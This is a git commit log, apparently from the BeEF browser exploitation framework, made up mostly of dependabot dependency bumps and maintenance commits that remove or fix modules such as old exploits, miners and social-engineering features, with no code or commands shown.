2023-05-04 01:04:19 +10:00
dependabot[bot]
6183f936cb Bump selenium-webdriver from 4.8.1 to 4.9.0 (#2826)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.8.1 to 4.9.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.8.1...selenium-4.9.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-05-04 01:04:10 +10:00
dependabot[bot]
c100d0b1d1 Bump rack from 2.2.6.4 to 2.2.7 (#2832)
Bumps [rack](https://github.com/rack/rack) from 2.2.6.4 to 2.2.7.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.6.4...v2.2.7)

---
updated-dependencies:
- dependency-name: rack
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-05-04 01:03:33 +10:00
bcoles
943a6fd226 Notifications: Slack: Fix config file WebHook validation (#2820) 2023-04-15 18:05:26 +10:00
bcoles
eb5959a975 WebSockets: flush beef.net.queue during keepalive (#2806) 2023-04-04 03:42:50 +10:00
dependabot[bot]
0faf517d8f Bump thin from 1.8.1 to 1.8.2 (#2777)
Bumps [thin](https://github.com/macournoyer/thin) from 1.8.1 to 1.8.2.
- [Release notes](https://github.com/macournoyer/thin/releases)
- [Changelog](https://github.com/macournoyer/thin/blob/master/CHANGELOG)
- [Commits](https://github.com/macournoyer/thin/commits)

---
updated-dependencies:
- dependency-name: thin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-04 02:30:54 +10:00
bcoles
4a4eb307bc API: Verify inheritance from BeEF::API class (#2803) 2023-04-03 23:22:38 +10:00
bcoles
0742b5aef4 Extensions: Remove console extension (#2802) 2023-04-03 22:11:32 +10:00
bcoles
22b91faf71 AdminUI: Removed unused jQuery wterm library (#2801) 2023-04-03 21:15:35 +10:00
bcoles
09c2128388 AdminUI: Remove zombie Autorun tab (#2800) 2023-04-03 20:57:05 +10:00
bcoles
c6618cd932 Tools: Remove chrome_extensions_exploitation (#2798)
* Tools: Remove chrome_extensions_exploitation

* Tools: move scripts/bump-version.sh -> tools/bump-version.sh
2023-04-03 20:01:05 +10:00
bcoles
a3b0d88999 Scripts: Remove CDE Rake task and generate-certificate script (#2797)
* Remove generate-certificate

* Rakefile: Remove CDE task

* scripts: shellcheck bump-version
2023-04-03 19:32:30 +10:00
bcoles
93b0171436 Remove Postman files (#2796) 2023-04-03 18:04:39 +10:00
bcoles
ed69915062 Extensions: Demos: Modify Handler to extend the Router class (#2795)
* Extensions: Demos: Remove unused demo assets

* Extensions: Demos: Hard-code "/hook.js" hook path

* Extensions: Demos: Fix copyright header format

* Extensions: Demos: Modify Handler to extend the Router class
2023-04-03 16:55:44 +10:00
bcoles
6887774823 Remove PhishingFrenzy integration (#2793) 2023-04-03 15:51:10 +10:00
bcoles
58efd34f8c Extensions: Remove IPEC extension (#2792)
* Remove browser extension payloads from Social Engineering modules

* Extensions: Remove IPEC extension
2023-04-03 15:01:52 +10:00
bcoles
92fe621425 Remove unused deployJava.js client JavaScript library (#2791) 2023-04-03 02:04:14 +10:00
bcoles
cc56090ba4 Remove jools library (#2790) 2023-04-03 01:48:04 +10:00
bcoles
996edf9ed8 Removed several old exploits and Mass Mailer functionality (#2788)
* Modules: remove old exploits

* Social Engineering: remove old templates

* Social Engineering: Remove Mass Mailer functionality
2023-04-02 22:08:34 +10:00
bcoles
3a10a15aae cryptoloot_miner: Remove cryptoloot_miner module (#2787) 2023-04-02 21:10:30 +10:00
bcoles
3b5c359ab4 Remove deprecated CoinHive miner Autorun rule (#2786) 2023-04-02 20:27:29 +10:00
bcoles
221fbddec2 AutorunEngine: Cleanup, rename REST routes, use Core::Models in REST API (#2785)
* arerules: Remove os/browser properties with redundant 'ALL' values

* Tools: Add Autorun REST examples

* AutorunEngine: Cleanup, rename REST routes, use Core::Models in REST API
2023-04-02 20:04:38 +10:00
bcoles
f8cba6e952 AutorunEngine: RuleLoader: Skip enabled rule file if rule is already in database (#2782)
* AutorunEngine: Engine: store rule execution rule ID

* AutorunEngine: RuleLoader: Skip enabled rule file if rule is already in database
2023-04-02 02:05:41 +10:00
bcoles
5de295533b install: update installer to support Ruby 3.x (#2780) 2023-04-01 16:34:55 +11:00
bcoles
e1ed67b5d3 config: add comments for public connect-back settings (#2778) 2023-04-01 04:21:36 +11:00
bcoles
173d8009a7 Remove Ruby Object patches (#2772) 2023-03-29 23:38:33 +11:00
bcoles
a5d08d727a BeEF::Extension:::Events: Add error handling to event parsing (#2771) 2023-03-29 01:14:29 +11:00
Fabian
bcd08657f1 Removed redundant runtime dependencies (#2750)
Applied consistent formatting
Minimized layer overhead
Improved port handling (making it modifiable from docker build)

Co-authored-by: Fabian Portner <fportner@seemoo.tu-darmstadt.de>
2023-03-20 23:42:04 +10:00
bcoles
dd2e95f38c Update dependencies and remove twitter nofification channel (#2760)
* Extensions: Notifications: Remove twitter notification channel
* Gemfile: Update dependencies
2023-03-19 23:02:46 +11:00
dependabot[bot]
724dc834aa Bump websocket-client-simple from 0.6.0 to 0.6.1 (#2752)
Bumps [websocket-client-simple](https://github.com/ruby-jp/websocket-client-simple) from 0.6.0 to 0.6.1.
- [Release notes](https://github.com/ruby-jp/websocket-client-simple/releases)
- [Changelog](https://github.com/ruby-jp/websocket-client-simple/blob/master/History.txt)
- [Commits](https://github.com/ruby-jp/websocket-client-simple/compare/v0.6.0...v0.6.1)

---
updated-dependencies:
- dependency-name: websocket-client-simple
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-03-19 22:01:05 +11:00
dependabot[bot]
a29682c7b9 Bump activesupport from 7.0.4.2 to 7.0.4.3 (#2754)
Bumps [activesupport](https://github.com/rails/rails) from 7.0.4.2 to 7.0.4.3.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v7.0.4.3/activesupport/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v7.0.4.2...v7.0.4.3)

---
updated-dependencies:
- dependency-name: activesupport
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-03-19 21:54:08 +11:00
bcoles
ba3bd4f80d BUNDLE_WITH: "geoip:ext_msf:ext_notifications:ext_dns:ext_qrcode" (#2759) 2023-03-19 21:37:59 +11:00
dependabot[bot]
30f8d869a9 Bump rubocop from 1.47.0 to 1.48.1 (#2751)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.47.0 to 1.48.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.47.0...v1.48.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-03-16 01:45:40 +10:00
dependabot[bot]
4901aed041 Bump rack from 2.2.6.2 to 2.2.6.4 (#2753)
Bumps [rack](https://github.com/rack/rack) from 2.2.6.2 to 2.2.6.4.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.6.2...v2.2.6.4)

---
updated-dependencies:
- dependency-name: rack
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-03-16 01:45:28 +10:00
bcoles
073c7f7f24 Replace deprecated File.exists? with File.exist? (#2740) 2023-03-05 14:50:15 +11:00
dependabot[bot]
b7894d0e40 Bump rubocop from 1.46.0 to 1.47.0 (#2736)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.46.0 to 1.47.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.46.0...v1.47.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-03-02 00:30:06 +10:00
bcoles
3e4b4bc910 hta_powershell: Fix loading beef_url_str from config (#2732) 2023-02-26 03:31:14 +11:00
bcoles
b6b435f6b7 rest_api_examples: command-modules: Fix auth command line parsing (#2731) 2023-02-26 03:15:37 +11:00
dependabot[bot]
d4c5baee8b Bump rubocop from 1.44.1 to 1.46.0 (#2729)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.44.1 to 1.46.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.44.1...v1.46.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-25 08:51:15 +10:00
bcoles
1db0b79092 Replace URI.escape with URI::Parser.new.escape (#2727) 2023-02-25 08:51:00 +10:00
dependabot[bot]
cfac1c4043 Bump sqlite3 from 1.6.0 to 1.6.1 (#2728)
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.6.0 to 1.6.1.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.6.0...v1.6.1)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-25 08:50:38 +10:00
dependabot[bot]
8d9c3f09ff Bump selenium-webdriver from 4.8.0 to 4.8.1 (#2725)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.8.0 to 4.8.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.8.0...selenium-4.8.1)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-24 19:37:04 +10:00
Abhishek Kumar
b83e06d5e0 Add support for garuda linux to install file 2023-02-17 13:02:34 +11:00
dependabot[bot]
e79fc57e49 Bump browserstack-local from 1.4.0 to 1.4.1 (#2709)
Bumps [browserstack-local](https://github.com/browserstack/browserstack-local-ruby) from 1.4.0 to 1.4.1.
- [Release notes](https://github.com/browserstack/browserstack-local-ruby/releases)
- [Changelog](https://github.com/browserstack/browserstack-local-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/browserstack/browserstack-local-ruby/commits)

---
updated-dependencies:
- dependency-name: browserstack-local
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-08 19:02:42 +10:00
bcoles
411e0e196f 3com_officeconnect_cmd_exec: Fix reference URL (#2705) 2023-02-08 19:02:28 +10:00
bcoles
0d28649e65 Add missing copyright headers (#2706)
* extensions: dns_rebinding: Add missing copyright headers

* modules: dns_rebinding: Add missing copyright headers
2023-02-08 18:51:30 +10:00
bcoles
57a8a13511 modules: skype_xss: Use new copyright header format (#2707) 2023-02-05 14:39:13 +11:00
dependabot[bot]
f6fd7141ad Bump selenium-webdriver from 4.7.1 to 4.8.0 (#2697)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.7.1 to 4.8.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits/selenium-4.8.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-30 00:06:11 +10:00
dependabot[bot]
0f9779e4cd Bump rubocop from 1.43.0 to 1.44.1 (#2699)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.43.0 to 1.44.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.43.0...v1.44.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-30 00:06:04 +10:00
dependabot[bot]
9fde75863b Bump otr-activerecord from 2.1.1 to 2.1.2 (#2700)
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.1.1 to 2.1.2.
- [Release notes](https://github.com/jhollinger/otr-activerecord/releases)
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.1.1...v2.1.2)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-30 00:05:50 +10:00
dependabot[bot]
9d58695636 Bump sqlite3 from 1.5.4 to 1.6.0 (#2688)
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.5.4 to 1.6.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.5.4...v1.6.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-23 22:19:48 +10:00
dependabot[bot]
f5fb224be0 Bump rack from 2.2.5 to 2.2.6.2 (#2691)
Bumps [rack](https://github.com/rack/rack) from 2.2.5 to 2.2.6.2.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.5...v2.2.6.2)

---
updated-dependencies:
- dependency-name: rack
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-23 21:44:43 +10:00
dependabot[bot]
07e90b1b7c Bump rubocop from 1.42.0 to 1.43.0 (#2686)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.42.0 to 1.43.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.42.0...v1.43.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-23 21:42:51 +10:00
dependabot[bot]
0b3dd03da2 Bump activerecord from 7.0.4 to 7.0.4.1 (#2693) 2023-01-19 08:36:25 +10:00
dependabot[bot]
fdd6d028d5 Bump irb from 1.5.1 to 1.6.2 (#2664)
Bumps [irb](https://github.com/ruby/irb) from 1.5.1 to 1.6.2.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.5.1...v1.6.2)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-09 03:00:01 +10:00
dependabot[bot]
93e7afcdc6 Bump rubocop from 1.39.0 to 1.42.0 (#2677)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.39.0 to 1.42.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.39.0...v1.42.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-08 09:02:57 +10:00
dependabot[bot]
12ab63f541 Bump curb from 1.0.3 to 1.0.5 (#2681)
Bumps [curb](https://github.com/taf2/curb) from 1.0.3 to 1.0.5.
- [Release notes](https://github.com/taf2/curb/releases)
- [Changelog](https://github.com/taf2/curb/blob/master/ChangeLog.md)
- [Commits](https://github.com/taf2/curb/commits)

---
updated-dependencies:
- dependency-name: curb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-08 09:02:27 +10:00
jcrew99
486a9bb329 Update copyright 2023 (#2675)
* updated copyright

* reverted gemfile lock changes
2022-12-31 15:36:07 +10:00
dependabot[bot]
edbbaa7ee2 Bump rack from 2.2.4 to 2.2.5 (#2670) 2022-12-30 09:26:47 +10:00
dependabot[bot]
b0646647c8 Bump curb from 1.0.1 to 1.0.3 (#2673) 2022-12-30 09:25:43 +10:00
dependabot[bot]
4f5e81f943 Bump rack-protection from 3.0.4 to 3.0.5 (#2662)
Bumps [rack-protection](https://github.com/sinatra/sinatra) from 3.0.4 to 3.0.5.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.4...v3.0.5)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-29 15:47:46 +10:00
dependabot[bot]
8f0d52538f Bump sinatra from 3.0.4 to 3.0.5 (#2661)
Bumps [sinatra](https://github.com/sinatra/sinatra) from 3.0.4 to 3.0.5.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.4...v3.0.5)

---
updated-dependencies:
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-29 15:47:24 +10:00
dependabot[bot]
6a960d5bd5 Bump test-unit from 3.5.5 to 3.5.7 (#2657)
Bumps [test-unit](https://github.com/test-unit/test-unit) from 3.5.5 to 3.5.7.
- [Release notes](https://github.com/test-unit/test-unit/releases)
- [Commits](https://github.com/test-unit/test-unit/compare/3.5.5...3.5.7)

---
updated-dependencies:
- dependency-name: test-unit
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-29 15:47:04 +10:00
dependabot[bot]
2f5ea15208 Bump nokogiri from 1.13.9 to 1.13.10 (#2651)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.9 to 1.13.10.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.9...v1.13.10)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-29 15:46:40 +10:00
dependabot[bot]
919e44c2c4 Bump rdoc from 6.4.0 to 6.5.0 (#2649)
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.4.0 to 6.5.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.4.0...v6.5.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-29 15:46:25 +10:00
dependabot[bot]
a335d0e070 Bump selenium-webdriver from 4.7.0 to 4.7.1 (#2647)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.7.0 to 4.7.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-08 03:01:41 +10:00
dependabot[bot]
a2d197a8b9 Bump json from 2.6.2 to 2.6.3 (#2648)
Bumps [json](https://github.com/flori/json) from 2.6.2 to 2.6.3.
- [Release notes](https://github.com/flori/json/releases)
- [Changelog](https://github.com/flori/json/blob/master/CHANGES.md)
- [Commits](https://github.com/flori/json/compare/v2.6.2...v2.6.3)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-08 03:01:12 +10:00
dependabot[bot]
c7a25c7501 Bump selenium-webdriver from 4.6.1 to 4.7.0 (#2645)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.6.1 to 4.7.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits/selenium-4.7.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-05 14:48:26 +10:00
dependabot[bot]
6b8525ce1b Bump sqlite3 from 1.5.3 to 1.5.4 (#2636)
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.5.3 to 1.5.4.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.5.3...v1.5.4)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-01 14:48:13 +10:00
dependabot[bot]
2138b51ee3 Bump sinatra from 3.0.3 to 3.0.4 (#2640)
Bumps [sinatra](https://github.com/sinatra/sinatra) from 3.0.3 to 3.0.4.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.3...v3.0.4)

---
updated-dependencies:
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-01 14:38:19 +10:00
dependabot[bot]
c83019ca1d Bump rack-protection from 3.0.3 to 3.0.4 (#2641)
Bumps [rack-protection](https://github.com/sinatra/sinatra) from 3.0.3 to 3.0.4.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.3...v3.0.4)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-01 14:38:05 +10:00
dependabot[bot]
fd1bb71f3e Bump jsdoc-to-markdown from 7.1.1 to 8.0.0 (#2642)
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 7.1.1 to 8.0.0.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v7.1.1...v8.0.0)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-01 14:37:54 +10:00
dependabot[bot]
52a8afe3ef Bump irb from 1.4.3 to 1.5.1 (#2643)
Bumps [irb](https://github.com/ruby/irb) from 1.4.3 to 1.5.1.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.4.3...v1.5.1)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-01 14:37:36 +10:00
dependabot[bot]
fb62b825fc Bump irb from 1.4.2 to 1.4.3 (#2631)
Bumps [irb](https://github.com/ruby/irb) from 1.4.2 to 1.4.3.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.4.2...v1.4.3)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-21 14:28:07 +10:00
dependabot[bot]
1d9012b1e6 Bump sinatra from 3.0.2 to 3.0.3 (#2626)
Bumps [sinatra](https://github.com/sinatra/sinatra) from 3.0.2 to 3.0.3.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.2...v3.0.3)

---
updated-dependencies:
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
